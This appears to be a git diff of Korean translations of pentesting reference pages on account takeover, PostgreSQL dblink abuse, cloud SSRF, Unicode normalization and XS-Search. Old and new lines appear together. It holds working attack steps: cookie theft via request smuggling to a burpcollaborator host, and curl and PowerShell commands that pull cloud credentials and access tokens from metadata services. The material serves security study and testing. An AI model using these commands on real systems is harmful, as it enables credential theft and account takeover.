### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다.\
토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 다음 변수들이 알고리즘에 사용될 수 있습니다.
토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 알고리즘에서 사용될 수 있는 변수는 다음과 같습니다.
- 타임스탬프
- 사용자 ID
- 사용자 이메일
- 이름과 성
- 이름 및 성
- 생년월일
- 암호화
- 숫자만
@ -115,7 +115,7 @@ email=victim@mail.com|hacker@mail.com
1. 특정 이메일을 사용하여 API/UI를 통해 비밀번호 재설정 요청을 트리거합니다. 예: test@mail.com
2. 서버 응답을 검사하고 `resetToken`을 확인합니다.
3. 그런 다음 URL에서 토큰을 사용합니다: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
3. 그런 다음 URL에서 토큰을 사용합니다. 예: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
@ -129,13 +129,13 @@ email=victim@mail.com|hacker@mail.com
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. 애플리케이션 내 또는 쿠키가 상위 도메인에 범위가 지정된 경우 서브도메인에서 XSS를 찾습니다: `*.domain.com`
1. 애플리케이션 또는 서브도메인 내에서 XSS를 찾습니다. 쿠키가 상위 도메인에 범위가 지정된 경우: `*.domain.com`
2. 현재 **세션 쿠키**를 유출합니다.
3. 쿠키를 사용하여 사용자로 인증합니다.
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. **smuggler**를 사용하여 HTTP 요청 밀반입 유형을 감지합니다 (CL, TE, CL.TE)\
1\. **smuggler**를 사용하여 HTTP 요청 밀수의 유형 (CL, TE, CL.TE)을 감지합니다.\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. 다음 데이터를 사용하여 `POST / HTTP/1.1`를 덮어쓸 요청을 작성합니다:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 피해자를 burpcollab로 리디렉션하고 쿠키를 훔치는 것이 목표입니다.\
@ -171,7 +171,7 @@ JSON Web Token은 사용자를 인증하는 데 사용될 수 있습니다.
hacking-jwt-json-web-tokens.md
{{#endref}}
## 참고자료
## 참고 문헌
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)

10
src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
View File

@ -16,10 +16,10 @@ dblink이 로드되면 몇 가지 흥미로운 트릭을 수행할 수 있습니
```
local all all trust
```
_이 구성은 관리자가 비밀번호를 잊어버렸을 때 db 사용자의 비밀번호를 수정하는 데 일반적으로 사용되므로, 때때로 이를 발견할 수 있습니다._\
_또한 pg_hba.conf 파일은 postgres 사용자 및 그룹만 읽을 수 있으며, postgres 사용자만 쓸 수 있습니다._
_이 구성은 관리자가 비밀번호를 잊어버렸을 때 데이터베이스 사용자 비밀번호를 수정하는 데 일반적으로 사용되므로, 때때로 이를 발견할 수 있습니다._\
_또한 pg_hba.conf 파일은 postgres 사용자와 그룹만 읽을 수 있으며, postgres 사용자만 쓸 수 있습니다._
이 경우는 **유용합니다** **이미** **쉘**이 피해자 내부에 있는 경우, postgresql 데이터베이스에 연결할 수 있게 해줍니다.
이 경우는 **유용합니다** **이미** 피해자 내부에 **쉘**이 있는 경우로, postgresql 데이터베이스에 연결할 수 있게 해줍니다.
또 다른 가능한 잘못된 구성은 다음과 같은 것입니다:
```
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
```
### 포트 스캐닝
`dblink_connect`를 악용하여 **열려 있는 포트를 검색**할 수 있습니다. 만약 그 **기능이 작동하지 않으면, 문서에 따르면 `dblink_connect_u()`는 `dblink_connect()`와 동일하지만, 비슈퍼유저가 모든 인증 방법을 사용하여 연결할 수 있도록 허용합니다\_**.
`dblink_connect`를 악용하여 **열려 있는 포트를 검색**할 수 있습니다. 만약 그 **기능이 작동하지 않으면 문서에 따르면 `dblink_connect_u()`를 사용해 보아야 합니다. `dblink_connect_u()`는 `dblink_connect()`와 동일하지만, 비슈퍼유저가 어떤 인증 방법을 사용하여도 연결할 수 있도록 허용합니다\_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -69,7 +69,7 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
다음에 유의하세요: `dblink_connect` 또는 `dblink_connect_u`를 사용하기 전에 다음을 실행해야 할 수 있습니다:
다음 사항에 유의하세요. `dblink_connect` 또는 `dblink_connect_u`를 사용하기 전에 다음을 실행해야 할 수 있습니다:
```
CREATE extension dblink;
```

61
src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
View File

@ -8,14 +8,14 @@
**메타데이터** 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: `http://169.254.169.254` ([메타데이터에 대한 정보는 여기](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
메타데이터 엔드포인트에는 **2가지 버전**이 있습니다. **첫 번째** 버전은 **GET** 요청을 통해 엔드포인트에 **접근**할 수 있게 해줍니다 (따라서 어떤 **SSRF도 이를 악용할 수 있습니다**). **버전 2**인 [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)에서는 **HTTP 헤더**와 함께 **PUT** 요청을 보내 **토큰**을 요청한 후, 그 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 **SSRF로 악용하기 더 복잡합니다**).
메타데이터 엔드포인트에는 **2가지 버전**이 있습니다. **첫 번째** 버전은 **GET** 요청을 통해 엔드포인트에 **접근**할 수 있게 해줍니다 (따라서 어떤 **SSRF도 이를 악용할 수 있습니다**). **버전 2**인 [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)에서는 **토큰**을 요청하기 위해 **PUT** 요청을 보내고 **HTTP 헤더**를 사용해야 하며, 그 후에 해당 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 **악용하기 더 복잡합니다**).
> [!CAUTION]
> EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**이 되어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
> EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**로 설정되어 있어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
>
> 또한, **IMDSv2**는 **`X-Forwarded-For` 헤더를 포함한 토큰 요청을 차단합니다**. 이는 잘못 구성된 리버스 프록시가 이를 접근하지 못하도록 방지하기 위함입니다.
문서에서 [메타데이터 엔드포인트에 대한 정보를 찾을 수 있습니다](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). 다음 스크립트에서는 이로부터 흥미로운 정보를 얻습니다:
[메타데이터 엔드포인트에 대한 정보는 문서에서 확인할 수 있습니다](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). 다음 스크립트에서는 이로부터 흥미로운 정보를 얻습니다:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -79,7 +79,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
또한 공개 **EC2 보안 자격 증명**을 확인할 수 있습니다: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
그런 다음 **이 자격 증명을 AWS CLI와 함께 사용할 수 있습니다**. 이렇게 하면 **해당 역할이 허용된 모든 작업을 수행할 수 있습니다**.
그런 다음 **이 자격 증명을 사용하여 AWS CLI**와 함께 사용할 수 있습니다. 이렇게 하면 **해당 역할이 허용된 모든 작업을 수행**할 수 있습니다.
새로운 자격 증명을 활용하려면 다음과 같이 새로운 AWS 프로필을 생성해야 합니다:
```
@ -90,14 +90,14 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
```
**aws_session_token**에 주목하세요. 이는 프로필이 작동하는 데 필수적입니다.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)는 발견된 자격 증명으로 권한을 확인하고 권한 상승을 시도하는 데 사용할 수 있습니다.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)는 발견된 자격 증명을 사용하여 권한을 확인하고 권한 상승을 시도하는 데 사용할 수 있습니다.
### AWS ECS (컨테이너 서비스) 자격 증명에서의 SSRF
**ECS**는 애플리케이션을 실행할 수 있는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리하기 때문에 자체 클러스터 관리 인프라를 확장할 필요가 없습니다. **ECS**에서 실행 중인 서비스를 손상시키면 **메타데이터 엔드포인트가 변경**됩니다.
_**http://169.254.170.2/v2/credentials/\<GUID>**_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 그러나 먼저 **\<GUID>**를 찾아야 합니다. \<GUID>를 찾으려면 머신 내의 **environ** 변수 **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**를 읽어야 합니다.\
**Path Traversal**을 이용해 `file:///proc/self/environ`을 읽을 수 있습니다.\
**Path Traversal**을 이용하여 `file:///proc/self/environ`을 읽을 수 있습니다.\
언급된 http 주소는 **AccessKey, SecretKey 및 token**을 제공해야 합니다.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
@ -107,9 +107,9 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
### AWS Lambda에 대한 SSRF
이 경우 **자격 증명은 env 변수에 저장됩니다**. 따라서 이를 접근하려면 **`file:///proc/self/environ`**과 같은 것을 접근해야 합니다.
이 경우 **자격 증명은 환경 변수에 저장됩니다**. 따라서 이를 접근하려면 **`file:///proc/self/environ`**과 같은 것을 접근해야 합니다.
**흥미로운 env 변수의 이름**은 다음과 같습니다:
**흥미로운 환경 변수의 이름**은 다음과 같습니다:
- `AWS_SESSION_TOKEN`
- `AWS_SECRET_ACCESS_KEY`
@ -118,7 +118,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
게다가 IAM 자격 증명 외에도 Lambda 함수는 **함수가 시작될 때 함수에 전달되는 이벤트 데이터**를 가지고 있습니다. 이 데이터는 [런타임 인터페이스](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)를 통해 함수에 제공되며 **민감한** **정보**(예: **stageVariables** 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리 이 데이터는 표준 SSRF를 통해 **`http://localhost:9001/2018-06-01/runtime/invocation/next`**에서 접근할 수 있습니다.
> [!WARNING]
> **lambda 자격 증명**이 **env 변수** 안에 있다는 점에 유의하세요. 따라서 lambda 코드의 **스택 추적**이 env 변수를 출력하면, 앱에서 **오류를 유발하여 이를 유출할 수** 있습니다.
> **람다 자격 증명**이 **환경 변수** 안에 있다는 점에 유의하세요. 따라서 람다 코드의 **스택 추적**이 환경 변수를 출력하면, 앱에서 **오류를 유발하여 이를 유출할 수** 있습니다.
### AWS Elastic Beanstalk에 대한 SSRF URL
@ -141,7 +141,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
### Google Cloud의 SSRF URL
HTTP 헤더 **`Metadata-Flavor: Google`**가 필요하며, 다음 URL을 사용하여 메타데이터 엔드포인트에 접근할 수 있습니다:
HTTP 헤더 **`Metadata-Flavor: Google`**가 필요하며, 다음 URL을 통해 메타데이터 엔드포인트에 접근할 수 있습니다:
- http://169.254.169.254
- http://metadata.google.internal
@ -226,13 +226,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta는 현재 헤더를 필요로 하지 않습니다 (Mathias Karlsson @avlidienbrunn에게 감사드립니다)
Beta는 현재 헤더를 요구하지 않습니다 (Mathias Karlsson @avlidienbrunn에게 감사드립니다)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> **유출된 서비스 계정 토큰을 사용하기 위해** 다음과 같이 하면 됩니다:
> **유출된 서비스 계정 토큰**을 사용하려면 다음과 같이 하면 됩니다:
>
> ```bash
> # 환경 변수를 통해
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
```
### Cloud Functions
메타데이터 엔드포인트는 VM에서와 동일하게 작동하지만 일부 엔드포인트가 없습니다:
메타데이터 엔드포인트는 VM에서와 동일하게 작동하지만 일부 엔드포인트는 없습니다:
```bash
# /project
# Project name and number
@ -325,11 +325,11 @@ curl http://169.254.169.254/metadata/v1.json | jq
> [!TIP]
> Azure VM은 1개의 시스템 관리 ID와 여러 개의 사용자 관리 ID를 가질 수 있습니다. 이는 기본적으로 **VM에 연결된 모든 관리 ID를 가장할 수 있다는 의미입니다**.
>
> **기본적으로**, 메타데이터 엔드포인트는 **시스템 할당 MI(있는 경우)**를 사용합니다.
> 메타데이터 엔드포인트에 대한 액세스 토큰을 요청할 때, 기본적으로 메타데이터 서비스는 **시스템 할당 관리 ID**를 사용하여 토큰을 생성합니다. 시스템 할당 관리 ID가 있는 경우에 해당합니다. 만약 **하나의 사용자 할당 관리 ID**만 있다면, 기본적으로 이것이 사용됩니다. 그러나 시스템 할당 관리 ID가 없고 **여러 개의 사용자 할당 관리 ID**가 있는 경우, 메타데이터 서비스는 여러 관리 ID가 있음을 나타내는 오류를 반환하며, **어떤 것을 사용할지 지정해야 합니다**.
>
> 불행히도 VM에 연결된 모든 MI를 나타내는 메타데이터 엔드포인트를 찾을 수 없었습니다.
> 불행히도 VM에 연결된 모든 관리 ID를 나타내는 메타데이터 엔드포인트를 찾을 수 없었으므로, Red Team 관점에서 VM에 할당된 모든 관리 ID를 찾는 것은 어려운 작업이 될 수 있습니다.
>
> 따라서 연결된 모든 MI를 찾으려면 다음을 수행할 수 있습니다:
> 따라서 연결된 모든 관리 ID를 찾기 위해 다음을 수행할 수 있습니다:
>
> - **az cli로 연결된 ID 가져오기** (Azure 테넌트에서 주체를 이미 손상시킨 경우)
>
@ -339,7 +339,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
> --name <vm-name>
> ```
>
> - 메타데이터의 기본 연결 MI를 사용하여 **연결된 ID 가져오기**:
> - 메타데이터에서 기본 연결 MI를 사용하여 **연결된 ID 가져오기**:
>
> ```bash
> export API_VERSION="2021-12-13"
@ -362,14 +362,14 @@ curl http://169.254.169.254/metadata/v1.json | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - 테넌트에 정의된 모든 관리 ID를 **가져오고** VM에 연결된 ID가 있는지 **브루트 포스**로 확인하기:
> - 테넌트에 정의된 모든 관리 ID를 **가져오고** VM에 연결된 것이 있는지 **브루트 포스**로 확인하기:
>
> ```bash
> az identity list
> ```
> [!CAUTION]
> 토큰 요청 시 `object_id`, `client_id` 또는 `msi_res_id` 중 하나의 매개변수를 사용하여 사용하려는 관리 ID를 지정하십시오 ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). 없으면 **기본 MI가 사용됩니다**.
> 토큰 요청 시 `object_id`, `client_id` 또는 `msi_res_id` 중 하나의 매개변수를 사용하여 사용하려는 관리 ID를 지정하십시오 ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). 지정하지 않으면 **기본 MI가 사용됩니다**.
{{#tabs}}
{{#tab name="Bash"}}
@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http:
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
## Get management token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
## Get graph token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
## Get vault token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
## Get storage token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
# More Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
@ -416,7 +429,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
### Azure App & Functions Services & Automation Accounts
**env**에서 **`IDENTITY_HEADER`**와 **`IDENTITY_ENDPOINT`**의 값을 가져올 수 있습니다. 이를 사용하여 메타데이터 서버와 통신할 토큰을 수집할 수 있습니다.
**env**에서 **`IDENTITY_HEADER`** 및 **`IDENTITY_ENDPOINT`**의 값을 가져올 수 있습니다. 이를 사용하여 메타데이터 서버와 통신할 토큰을 수집할 수 있습니다.
대부분의 경우, 다음 리소스 중 하나에 대한 토큰이 필요합니다:
@ -426,7 +439,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
- [https://management.azure.com](https://management.azure.com/)
> [!CAUTION]
> 토큰 요청 시 `object_id`, `client_id` 또는 `msi_res_id` 매개변수 중 하나를 사용하여 사용하려는 관리 ID를 지정하십시오 ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). 지정하지 않으면 **기본 MI가 사용됩니다**.
> 토큰 요청 시 `object_id`, `client_id` 또는 `msi_res_id` 매개변수 중 하나를 사용하여 사용하려는 관리 ID를 지정하십시오 ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). 그렇지 않으면 **기본 MI가 사용됩니다**.
{{#tabs}}
{{#tab name="Bash"}}
@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08
{{#endtab}}
{{#tab name="PS"}}
```powershell
```bash
# Define the API version
$API_VERSION = "2019-08-01"
@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
다양한 플랫폼의 메타데이터 서비스에 대한 문서가 아래에 설명되어 있으며, 인스턴스의 구성 및 런타임 정보를 액세스할 수 있는 방법을 강조합니다. 각 플랫폼은 고유한 엔드포인트를 제공하여 메타데이터 서비스에 접근할 수 있습니다.
다양한 플랫폼의 메타데이터 서비스에 대한 문서가 아래에 설명되어 있으며, 인스턴스의 구성 및 런타임 정보를 접근할 수 있는 방법을 강조합니다. 각 플랫폼은 고유한 엔드포인트를 제공하여 메타데이터 서비스에 접근할 수 있습니다.
## Packetcloud

12
src/pentesting-web/unicode-injection/unicode-normalization.md
View File

@ -15,11 +15,11 @@
### Key Points on Unicode Encoding
유니코드 인코딩을 이해하는 것은 특히 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 중요합니다. 주요 사항은 다음과 같습니다:
유니코드 인코딩을 이해하는 것은 특히 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 매우 중요합니다. 주요 사항은 다음과 같습니다:
- **Code Points and Characters**: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
- **Bytes Representation**: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표현됩니다. 예를 들어, LATIN-1 문자는(영어 사용 국가에서 일반적) 하나의 바이트를 사용하여 표현됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현을 위해 더 많은 바이트가 필요합니다.
- **Encoding**: 이 용어는 문자가 일련의 바이트로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트로 표현되고, 다른 문자는 최대 네 개의 바이트로 표현되는 일반적인 인코딩 표준입니다.
- **Encoding**: 이 용어는 문자가 일련의 바이트로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트를 사용하여 표현되고, 다른 문자는 최대 네 개의 바이트를 사용하는 일반적인 인코딩 표준입니다.
- **Processing Data**: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 인식해야 합니다.
- **Variants of UTF**: UTF-8 외에도 최소 2바이트(최대 4바이트)를 사용하는 UTF-16 및 모든 문자에 대해 4바이트를 사용하는 UTF-32와 같은 다른 인코딩 표준이 있습니다.
@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### 발견하기
웹앱 내에서 에코된 값을 찾을 수 있다면, **‘KELVIN SIGN’ (U+0212A)**를 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 에코된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다.
웹앱 내에서 에코된 값을 찾을 수 있다면, **‘KELVIN SIGN’ (U+0212A)**을 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 에코된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다.
다른 **예시**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83`는 **유니코드** 후에 `Leonishan`입니다.
@ -43,7 +43,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
사용자 입력으로 SQL 쿼리를 생성하는 웹 페이지를 상상해 보세요. 이 웹은 보안 조치로 **`'`** 문자의 모든 발생을 사용자 입력에서 **삭제**하지만, **그 삭제 후**와 **쿼리 생성 전**에 사용자 입력을 **유니코드**로 **정규화**합니다.
그렇다면, 악의적인 사용자는 `' (0x27)`에 해당하는 다른 유니코드 문자 `%ef%bc%87`을 삽입할 수 있습니다. 입력이 정규화되면, 단일 인용부호가 생성되고 **SQL 인젝션 취약점**이 발생합니다:
그렇다면, 악의적인 사용자는 `' (0x27)`에 해당하는 다른 유니코드 문자 `%ef%bc%87`을 삽입할 수 있습니다. 입력이 정규화되면 단일 인용부호가 생성되고 **SQLInjection 취약점**이 발생합니다:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -85,7 +85,7 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
예를 들어, 제안된 첫 번째 유니코드 문자는 다음과 같이 전송될 수 있습니다: `%e2%89%ae` 또는 `%u226e`
예를 들어, 제안된 첫 번째 유니코드 문자는 `%e2%89%ae` 또는 `%u226e`로 전송될 수 있습니다.
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
@ -93,7 +93,7 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
백엔드가 **정규 표현식으로 사용자 입력을 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식이 **전송된 URL을 정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다.
도구 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*는 백엔드를 퍼징하기 위해 **입력의 변형을 생성**할 수 있게 해줍니다. 더 많은 정보는 **github**와 이 [**게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
도구 [**recollapse**](https://github.com/0xacb/recollapse)는 백엔드를 퍼징하기 위해 **입력의 변형을 생성**할 수 있게 해줍니다. 더 많은 정보는 **github**와 이 [**게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
## 유니코드 오버플로우

252
src/pentesting-web/xs-search.md
View File

@ -10,46 +10,46 @@ XS-Search는 **사이드 채널 취약점**을 활용하여 **교차 출처 정
- **취약한 웹**: 정보가 추출될 대상 웹사이트.
- **공격자의 웹**: 피해자가 방문하는 공격자가 만든 악성 웹사이트로, 익스플로잇을 호스팅합니다.
- **포함 방법**: 취약한 웹을 공격자의 웹에 통합하기 위해 사용되는 기술(예: window.open, iframe, fetch, href가 있는 HTML 태그 등).
- **포함 방법**: 취약한 웹을 공격자의 웹에 통합하는 데 사용되는 기술(예: window.open, iframe, fetch, href가 있는 HTML 태그 등).
- **유출 기술**: 포함 방법을 통해 수집된 정보를 기반으로 취약한 웹의 상태 차이를 식별하는 데 사용되는 기술.
- **상태**: 공격자가 구별하고자 하는 취약한 웹의 두 가지 잠재적 조건.
- **상태**: 공격자가 구별하려고 하는 취약한 웹의 두 가지 잠재적 조건.
- **감지 가능한 차이**: 공격자가 취약한 웹의 상태를 추론하는 데 의존하는 관찰 가능한 변동.
### 감지 가능한 차이
취약한 웹의 상태를 구별하기 위해 분석할 수 있는 여러 측면이 있습니다:
- **상태 코드**: 서버 오류, 클라이언트 오류 또는 인증 오류와 같은 **다양한 HTTP 응답 상태 코드**를 교차 출처로 구별합니다.
- **API 사용**: 특정 JavaScript 웹 API를 사용하는지 여부를 드러내는 **웹 API 사용**을 식별합니다.
- **리디렉션**: HTTP 리디렉션뿐만 아니라 JavaScript 또는 HTML에 의해 트리거된 다른 페이지로의 탐색을 감지합니다.
- **페이지 콘텐츠**: **HTTP 응답 본문** 또는 페이지 하위 리소스에서의 **변동 관찰**, 예를 들어 **임베디드 프레임의 수** 또는 이미지의 크기 차이.
- **HTTP 헤더**: **특정 HTTP 응답 헤더**의 존재 또는 값(예: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy)을 주목합니다.
- **타이밍**: 두 상태 간의 일관된 시간 차이를 감지합니다.
- **상태 코드**: 서버 오류, 클라이언트 오류 또는 인증 오류와 같은 **다양한 HTTP 응답 상태 코드**를 교차 출처에서 구별합니다.
- **API 사용**: 특정 JavaScript 웹 API를 사용하는 교차 출처 페이지를 드러내는 **웹 API 사용** 식별.
- **리디렉션**: HTTP 리디렉션뿐만 아니라 JavaScript 또는 HTML에 의해 트리거된 다른 페이지로의 탐색 감지.
- **페이지 내용**: **HTTP 응답 본문** 또는 페이지 하위 리소스에서의 변동 관찰, 예를 들어 **임베디드 프레임의 수** 또는 이미지 크기 차이.
- **HTTP 헤더**: **특정 HTTP 응답 헤더**의 존재 또는 값(예: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy) 주목.
- **타이밍**: 두 상태 간의 일관된 시간 차이 감지.
### 포함 방법
- **HTML 요소**: HTML은 스타일시트, 이미지 또는 스크립트와 같은 **교차 출처 리소스 포함**을 위한 다양한 요소를 제공합니다. 이로 인해 브라우저는 비HTML 리소스를 요청하게 됩니다. 이 목적을 위한 잠재적인 HTML 요소의 목록은 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)에서 확인할 수 있습니다.
- **프레임**: **iframe**, **object**, **embed**와 같은 요소는 HTML 리소스를 공격자의 페이지에 직접 포함할 수 있습니다. 페이지가 **프레임 보호가 부족한 경우**, JavaScript는 contentWindow 속성을 통해 프레임된 리소스의 window 객체에 접근할 수 있습니다.
